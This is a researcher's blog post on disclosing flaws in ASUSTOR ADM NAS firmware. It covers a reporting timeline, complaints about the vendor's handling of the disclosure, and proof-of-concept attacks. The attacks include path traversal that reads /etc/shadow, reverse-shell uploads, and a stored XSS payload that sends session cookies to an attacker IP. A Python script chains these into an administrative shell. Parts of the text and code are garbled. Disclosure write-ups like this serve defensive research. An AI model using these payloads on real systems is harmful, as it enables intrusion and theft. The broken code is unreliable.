Vulnerability Discovery,
and Disclosure

1.1  Introduction and Background

Recently I have been using my free time to perform
independent research, learning and bug hunting in products, mostly for fun,
however I have reported bugs to vendors to request CVEs that would be
associated with me. Nothing is completely free! To me this seems like a good
deal, due to the fact the vendors are essentially getting a free security
assessment and can then create mitigations that show they are proactive in


One of the vendors I’ve reported bugs to is , a
subsidiary of Asus that manufactures small business/home office NAS units,
along with development of the OS and associated plugins. One of the reasons I
started looking at bugs for the ASUSTOR NAS is that I purchased one and when I
put a device on my home network, I tend to look into the device in order to
determine if there are vulnerabilities that may be present.


Throughout this post I aim to show the timeline of
reporting the vulnerabilities to ASUSTOR and then ultimately attempting to
contact Mitre, the proof of concept exploitation for the vulnerabilities, one chained
exploit, CNA responsibilities and thoughts on full disclosure.

Let me preface the product is quite niche, and the vulnerabilities are pretty standard,
but leveraged together are kind of fun as you’ll see in the chain exploit below


1.2  Timeline of Reporting

One of the things I’ve learned when dealing with
clients, customers and colleagues is that communication is a skill and
one that should be honored, especially if you wish to
continue to have a good relationship. While instant responses are not always
possible or required, there is an unwritten standard that corporations and
individuals should adhere to, and when people are submitting unpaid reports to vendors,
acknowledgement is the least the vendor can do as the reporter is often just
trying to aide them in creating a safer product for their customers.


The table below shows the timeline of reporting
vulnerabilities to ASUSTOR and Mitre, with a small comment section:





14th 2018

[email protected]

report of two vulnerabilities.


20th 2018

[email protected]

6 additional
vulnerabilities reported.

No response.

27th 2018

[email protected]

reminder that a report was sent in, requesting a status update and simply
hoping for a response.


6th 2018

Mitre web submission

Requesting aide in
dealing with non-responsive CNA. Initial response received from Mitre.

14th 2018


Sent a
status update request, received a response indicating they could not reach ASUSTOR

14th 2018

[email protected]

A 4th contact
attempt from initial report to attempt to get through to their security team.
Reported the vulnerabilities with a different format.

No response.

1st 2018


for a status update from Mitre.


2nd 2018

[email protected] & [email protected]

Finally received a
response from ASUSTOR, from the support team. Kevin has been the only one who
has contacted me, indicating my report was sent to the PM for ADM.
No response from the security team

25th 2018

[email protected] & [email protected]

seeing the release notes indicating they fixed the vulnerabilities I
reported, I emailed asking when CVEs will be released. Kevin again from ASUSTOR

response from security team.

25th 2018


Asked for a status
update, however at the time of this writing, no response is okay (less than
24 hours from ).



Below are emails sent to ASUSTOR. The first image
below is the initial report of two vulnerabilities:



- mf001 - Back to The Future: ASUSTOR Web Exploitation

Figure 1.         
Initial report of
vulnerabilities on Feb 14th 2018


The image below is
the additional report of vulnerabilities:



- mf002 - Back to The Future: ASUSTOR Web Exploitation

Figure 2.         
Report of additional
vulnerabilities on Feb 20th 2018


A gentle reminder requesting a response:


- mf003 - Back to The Future: ASUSTOR Web Exploitation

Figure 3.         
Reminder email sent


The image below is
a 4th contact attempt with the
ASUSTOR security team, as well including
the report in a different format:



- mf004 - Back to The Future: ASUSTOR Web Exploitation

Figure 4.         
4th contact attempt
on March 14th


Finally, I received
a contact back after I directly contacted their support team, through the
online portal. The below is combined from April 2nd and April 25th


- mf005 - Back to The Future: ASUSTOR Web Exploitation

Figure 5.         
Email finally received from


I really welcomed this email from Kevin from the ASUSTOR
support team and had hoped that this would be the beginning of a contact from
some on security team, in order to oblige CNA responsibilities.

Late on the 24th of April, I viewed change
logs as I noticed a new version of the ADM had been released and saw that
several vulnerabilities I reported may be mitigated, as shown below:


- mf006 - Back to The Future: ASUSTOR Web Exploitation

Figure 6.         
Potential fixes to
vulnerabilities I reported


I haven’t tested if the current fixes mitigate the
vulnerabilities I reported, as I was currently looking at other aspects in the
previous version of ADM, 3.1.0.RFQ3. I had initially
found these in vulnerabilities in 3.0.5.RDU1, however
had updated in order to verify if they still existed in 3.1.0.RFQ3.


At this point I was a little bit dismayed due to the
fact I felt I had followed responsible and coordinated disclosure principles,
however I figured I would contact them one last time as seen in a previous
email. The response from Kevin indicated that he believes they mitigated some
of the vulnerabilities I reported and it was possible an organization in Taiwan
reported vulnerabilities after I had. This is shown below:


- mf007 - Back to The Future: ASUSTOR Web Exploitation

Figure 7.         
Email received from Kevin


While I appreciate the fact that ASUSTOR’s security
team may be understaffed and under supported, I believe at least a response was
warranted. I do really want to point out that Kevin from ASUSTOR’s support team
has been quite responsive and would like to thank him for going above and
beyond, as he may be the reason the vulnerabilities below may be mitigated.


I have elected to not include any emails between Mitre
and myself as I believe they are bound by process and procedures, however I
will touch upon this a bit more later in this post.


Proof of Concept Exploitation
and Product Details

Well now that background has been provided, and if
you’ve made it this far you’re probably wanting something a bit meatier
😊. Please note I was
guesstimating how many CVE identifiers were required in initial requests with ASUSTOR
CNA contact, however it’s likely five. To be useful, the vulnerabilities
requiring chaining. All the vulnerabilities require some level of access, and
some require elevated levels of access to abuse the functionality. At this time, I have focused any bug hunting
in the ADM web application.


One other aspect I found was that if the cloud service
was provisioned, it was possible to exploit these issues over the internet too,
so an exposed ASUSTOR NAS device with weak/default credentials, could easily be


The below will be in the order I discovered
vulnerabilities, details and proof of concept exploitation.


Manufacturer: ASUSTOR

Model vulnerabilities discovered on: AS6202T

Version: 3.1.0.RFQ3
and below


Path Traversal in importuser.cgi


Directory traversal
in importuser.cgi in ASUSTOR AS6202T ADM
3.1.0.RFQ3 allows attackers to navigate

file system via the
filename parameter.


To exploit the
vulnerability an administrative/authoritative user can import files and alter
the file system

path. It is
possible to write anywhere on the system using the directory traversal
vulnerability and may

lead to code
execution or information disclosure.



The following request
traverses the file system to create a file in the ‘/tmp



- mf008 - Back to The Future: ASUSTOR Web Exploitation

Figure 8.         
Path traversal

The following image
shows that the file was created in the specified location:



- mf009 - Back to The Future: ASUSTOR Web Exploitation

Figure 9.         
File created in arbitrary


This vulnerability
is further leveraged in the following vulnerability to exploit an unrestricted
file upload vulnerability.

Unrestricted file
upload in importuser.cgi


An unrestricted
file upload vulnerability in importuser.cgi in

attackers to upload
supplied to a specified filename. This can be used to place attacker

code on the file
system that is then executed.


To exploit the
vulnerability an administrative/authoritative user can import files and alter
the file system

path. It is
possible to write anywhere on the system using the directory traversal
vulnerability and may

lead to code
execution or information disclosure. It is possible to obtain terminal level
access despite ssh

being turned off
for instance.


The following
request traverses the filesystem and then places a small reverse shell code
segment in a specified location:


- mf010 - Back to The Future: ASUSTOR Web Exploitation

Figure 10.     
Uploading a reverse shell


Upon accessing this
file location, the reverse shell is then initiated with the awaiting netcat listener:


- mf011 - Back to The Future: ASUSTOR Web Exploitation

Figure 11.     
Obtaining system admin
privilege shell

Admin privileges
have full control over the entire NAS system.


Local File Include
in download.cgi


A path traversal
vulnerability in download.cgi in ASUSTOR AS6202T ADM
3.1.0.RFQ3 allows attackers to

arbitrarily specify
a file on the system to download via the file1 parameter.

To exploit the vulnerability
any authenticated user can arbitrarily specify the file on system to download.

As long as you are
any authenticated user, it seemed it was possible to perform this attack, in
order to read any file from the filesystem. In the case below, an unprivileged
user was able to read the contents of the shadow file:

- mf012 - Back to The Future: ASUSTOR Web Exploitation

Figure 12.     
Reading /etc/shadow

Insecure direct
object reference in download.cgi


An insecure direct
object reference vulnerability in download.cgi in

allows the ability
to reference the “download_sys_settings” action and
then specify files arbitrarily

throughout the
system via the act parameter.


To exploit the
vulnerability an authenticated user can directly reference functions that are
not enabled

for their user


This is essentially
the same as previously shown. Several functionalities allow for IDOR.


2.6  Vulnerability 5 and 6

Unrestricted file
upload and directory traversal exists in upload.cgi


An unrestricted
file upload vulnerability in upload.cgi in ASUSTOR
3.1.0.RFQ3 allows

attackers to upload
supplied data via the POST parameter filename. This can be used to place

controlled code on
the file system that can then be executed. Further the filename parameter is
vulnerable to path traversal and allows the attacker to place the file anywhere
on the system.


To exploit the
vulnerability any authenticated user that can upload files and can alter the
file system path. It is possible to write anywhere on the system using the
directory traversal vulnerability and may lead to

code execution or
information disclosure. It is possible to obtain terminal level access despite
ssh being

turned off for



The exploitation of
this vulnerability is similar to Vulnerability 2,
however this is conducted with a low privilege user and in the end, the user is
granted with an administrative privileged shell.

The initial request
is shown below:


- mf013 - Back to The Future: ASUSTOR Web Exploitation

Figure 13.     
Uploading a reverse shell to be

It is then possible
to simply visit the URL and receive the shell with an awaiting netcat listener:

- mf014 - Back to The Future: ASUSTOR Web Exploitation

Figure 14.     
Reverse shell connected to

Despite the fact
that a.php uploads as low privilege user “testing9”,
a full administrative shell is possible due to the web server privileges.


Persistent cross
site scripting in playlistmanager.cgi


A persistent cross
site scripting vulnerability in playlistmanger.cgi in
ASUSTOR SoundsGood application,

allows attackers to
store cross site scripting payloads via the POST parameter ‘playlist’.


To exploit the
vulnerability an authenticated user that has SoundsGood
provisioned (default install) is

able to create a
playlist that has a cross site scripting payload that is then stored and can be
executed when navigating to that area of the application. This can be chained
with other vulnerabilities that can be leveraged into uploading PHP code that
is then executed.



This vulnerability
on its own isn’t the end of the world, however it’s possible to use this
vulnerability to obtain a valid SID value, and then chain other vulnerabilities
listed above in order to place PHP code on the server that can be used to
compromise the system completely.


Identifying payload
is the old and trusty: <img src=”x”


This leads to
execution of the payload as shown below:




- mf015 - Back to The Future: ASUSTOR Web Exploitation

Figure 15.     
Simple stored XSS

Path traversal in fileExplorer.cgi


A path traversal
vulnerability in fileExplorer.cgi in ASUSTOR AS6202T
3.1.0.RFQ3 allows attackers to

arbitrarily specify
a path on the file on the system to create folders via the dest_folder


To exploit the
vulnerability any authenticated user can arbitrarily specify locations on the
file system

when creating a
folder, which may lead to file integrity issues.


This is quite
similar to vulnerability 1, where it is possible to abuse fileExplorer.cgi
in order to write out to the file system. The following image is the required


- mf016 - Back to The Future: ASUSTOR Web Exploitation

Figure 16.     
Path traversal in fileExplorer


The resulting
folder is shown below:


- mf017 - Back to The Future: ASUSTOR Web Exploitation

Figure 17.     
Path traversal creates folder
on the file system

2.9  Proof of Concept Chained Exploit

In order to chain
exploits together I leveraged a stored XSS that would steal cookie data, then
perform a CSRF to take advantage of path traversal and file upload
vulnerabilities. Despite this being a very niche and probably seldom useful
exploit, I thought it’d be fun to develop a full chain.

The initial payload
can be included in a few locations, however I elected to use the previously
identified vulnerability in playlist. The payload that will steal the cookies
is as follows:


This would of
course change depending on your requirements.


After attempting several different payloads
that would leverage a remote JavaScript, I thought of a different approach that
would allow me to steal the cookie data to perform the necessary actions. What
I ended up coming up with was a HTTP server that would listen for incoming
connections, log and parse the data, send the payload and await the shell.

Please note, I
didn’t perform any error handling and it’s definitely not as elegant as it
could be, further I used a few cheesy tricks to get around some errors as I
wanted to prototype this quick.


Prior to running
the script, you should have input the payload into a vulnerable parameter, such
as: [post parameter payload ]

The request should
look like this:


- mf018 - Back to The Future: ASUSTOR Web Exploitation

Figure 18.     
Persistent XSS

Exploit code is as




exploit takes advantage of a persistent cross site scripting vulnerability
within Asustor nas’s using

ADM 3.1.0.RFQ3 and below (I haven’t tested the current version

requests: I believe are pending, however the vendor has had zero contact with
me, and I decided it was

time to to drop this based a changelog that indicates they fixed
bugs I reported. Nothing mind blowing

but a fun
way to chain bugs:)


The chain
is essentially stored xss -> csrf
-> path traversal -> unrestricted file upload, leading to

a adminsitrative shell

Author: matthew fulton

date: april 26th 2018

My original
idea was fetching a remote javascript Payload
however they did appear to have some defences
against that and this seemed quicker to prototype.

XSS Payload
to use on vulnerable parameters: <img%20src=x%20onerror=this.src=’https://<AttackerIP:<PORT>/?c=’%2Bdocument.cookie>


Came up
with this late at night using Macosx, so may need a
few tweaks os to os 🙂


Just going
to handle https here, but should be simple enough to modify if required, if
anyone were to find this useful

Sample run:

python asustor.py -t

This python
script takes advntage of several bugs in order to
achieve code execution against

the asustor ADM 3.1.0.RFQ3 and

author: matthew fulton

date: april 26 2018

Starting up
HTTP server to steal SID value

Sleeping a
few seconds until requests generate

request based on SID value, prior to sending


Trying to
send post data

uploaded to:

URL fetch daemon

Start up listner

starting netcat listener on port 4444

python -c
‘import pty;pty.spawn(“/bin/sh“)’ #
<– at this point you have a shell

$ unamea;id


AS6202T-961F 4.4.24 #1 SMP Mon Mar 26 02:57:14 CST 2018 x86_64 GNU/Linux

gid=999(administrators) groups=100(users),997(nvradmins),999(administrators)



from SimpleHTTPServer import SimpleHTTPRequestHandler

from BaseHTTPServer import HTTPServer

import logging, re

import sys, socket, threading, time, os

import urllib2

import ssl

import argparse


option parsing

Help = “””Exploitation of
several bugs outlined in post on company blog. This exploit will take

of several
bugs within Asustor’s NAS products in order to achieve remote code execution.

This goes
without saying, it will likely never be useful, for anyone:)

author: matthew fulton



parser.add_argument(‘–target’, ‘-t’, default=“”, help=“Target IP”, required=True)

parser.add_argument(‘–port’, ‘-p’, default=“8001”)

parser.add_argument(‘–lfile, ‘-l’, help=“Full path to file to payload”,default=“payload.txt”)

parser.add_argument(‘–rfile, ‘-r’, help=“Remote system file
, default=“bibas123.php”)

parser.add_argument(‘–tuser, ‘-u’, help=“Target user”, default=tadmin)

args = parser.parse_args()

target = args.target

rport = args.port

localfile = args.lfile

remotefile = args.rfile

targetuser = args.tuser

#handling a
specific user case here, will add parsing option fo

#url = “https://”+target+”:”+rport+”/portal/apis/fileExplorer/upload.cgi?sid=”+v+”&act=upload&overwrite=0&path=%2Fhome%2F”+tuser

#print url

#todo custom http server setup

PORT = 80



purpose: to parse for a unique as_sid value that
will be used lateron


def parseLog():


s = f.read()

q = s.split(‘;’)[1]

result = re.search(as_sid=(.*)$”,q)

global v

v = result.group(1)


return v



function is def doing a lot more than it ought to.

idea: Start an simple http server instance, start
logging of requests, call parselog function

If parselog function finds the as_sid
value, terminate simplehttpserver


def startHTTP():

#start handler

server = HTTPServer((, 80), SimpleHTTPRequestHandler)

thread = threading.Thread(target = server.serve_forever)




except KeyboardInterrupt:



buffer = 192

sys.stderr = open(‘logfile.txt’, ‘w’, buffer)



Creates and
sends the request that will be uploaded using the sid
obtained from the XSS


def exploit():

print “Creating
request based on SID value, prior to sending

#url =

url = “https://”+target+“:”+rport+“/portal/apis/fileExplorer/upload.cgi?sid=”+v+“&act=upload&overwrite=0&path=%2Fhome%2F”+targetuser

#open payload file for upload

f = open(localfile,‘r’)

fileContents = f.read()


#set header information

http_header = {

“Host: “”,

“User-Agent: “Mozilla/5.0 (Windows NT
10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0”

“Accept: “*/*”,

“Accept-Language: en-us,en;q=0.5″,

“Accept-Encoding: gzip,

Referer: “https://”+target+“:”+rport+“/portal/?5A843C45”,

“Content-Length”: “325”,

“Content-type: “multipart/form-data;

“DNT”: “1”,

“Connection: “close”



# Build the payload data that will be sent

data = ‘—————————–157376534518655569631154630941rn

data += ‘Content-Disposition:
form-data; name=
file; filename=../../../volume1/Web/’+remotefile+“rn

data += ‘Content-Type:

data += rn+fileContents+rn

data += r—————————–157376534518655569631154630941–rn

#Set up context to ignorse ssl issues

ctx = ssl.create_default_context()


ctx.verify_mode = ssl.CERT_NONE

req =
urllib2.Request(url, data, http_header)

#cheesy, but want the socket to timeout after and this should ensure


#try to send POST data and say uhoh if it
doesn’t work


print “Trying
to send post data”

res = urllib2.urlopen(req,context=ctx)


except Exception:





For testing
purposes just calling netcat via system, if i ever update this i’ll add in
a custom



def revShell():

print “starting
netcat listener on port 4444″

os.system(nc -l 4444″)


class openURL(object):

def __init__(self,interval=1):

self.interval = interval

thread = threading.Thread(target=self.run, args=())



def run(self):

while True:







if __name__ == ‘__main__’:

print “This
python script takes advntage of several bugs in
order to achieve code execution against”

print “the asustor ADM 3.1.0.RFQ3 and

print “likely
this will never be useful for anyone :)”

print “author:
matthew fulton

print “date:
april 26 2018″

print “Starting
up HTTP server to steal SID value”


print “Sleeping
a few seconds until requests generate”




print “Payload
uploaded to: https://”

print “Creating
URL fetch daemon”

uopen = openURL()


print Start up listner




The gif below shows
the exploit in action:

- exploitgifproperspeed - Back to The Future: ASUSTOR Web Exploitation

The link below is
to my github repo with the associated exploit:

Link to code: https://github.com/mefulton/asustorexploit/


Summary of Vulnerabilities

None of these
vulnerabilities are really mind blowing on their own, however when chained
together they can allow for the ability of full system compromise with very
little effort. I had stopped looking at the device after I received no
response, however I believe there are other vulnerabilities waiting to be


3.      CNA and Mitre Responsibilities

One of the things I
have really thought about since I attempted to report this is, what is the
responsibility of the CNA? I think Mitre pretty clearly defines that CNA’s are
supposed to be responsive and proactive in their approach. While I can
appreciate the fact that they may be understaffed, simple acknowledgement goes
a long way in creating a credible program, rather than one that simply is there
for show.

More on CNA
responsibilities can be found at the following URL:



To say I am
disappointed from the security team at
ASUSTOR would be an understatement,
especially when they claim in various posts how they are being proactive and
wish to have vulnerability reports sent into them. In the future, if I found
any other vulnerabilities in
ASUSTOR products, I would find myself
hard-pressed to not just post it on full disclosure, as that may simply be the
only option to get a response from them.


On the flip side,
I’ve reported other vulnerabilities to other vendors that are CNA’s, and
they’ve been responsive and have provided updates. A couple good examples of
this is Oracle and IBM, who have both responded to me very receptively and have
provided me details or requested more information, which I have been happy to

I don’t blame Mitre
for anything really, however I do find that their communication really dropped
off for no apparent reason. I also feel that they need to hold CNA’s that are
unresponsive accountable and revoke more often when the CNA’s shirk their responsibilities.


4.      Thoughts on Disclosure and Closeout

Another thought
that recently has been crossing my mind a lot is, when reporting a
vulnerability to a vendor, how thorough should I be? Or is it just better to go
the full disclosure route and drop details and/or working exploits right away?
I guess that’s a different topic that is probably more suitable for another

I will say that the
infamous rgod had a tweet recently that I’ve thought
about a lot more. To summarize: Never put the vendor in God mode, when
reporting vulnerabilities, just report what is necessary. To see his full chain
of thoughts, check out:
https://twitter.com/rgod777/status/966631127032172544. I unfortunately put ASUSTOR in
God mode by providing them quite a few details in my opinion, so perhaps that’s
why I did not receive any acknowledgment or communication. With that being
said, I felt providing appropriate details would streamline the process.


I don’t know if the
above vulnerabilities will earn CVE identifiers, however even if not credited
to me, I certainly do believe they should receive CVE identifiers as to allow
for tracking and proper vulnerability management, as some organizations
management process requires CVSS scores for action.

Further, I hope
that at some point that
ASUSTOR takes their role as a CNA seriously and
performs the tasks outlined, instead of this just being some PR stunt from

If you have any
questions, feel free to reach out in the comments below and I’ll try to respond
whenever I see them.



Source link


Please enter your comment!
Please enter your name here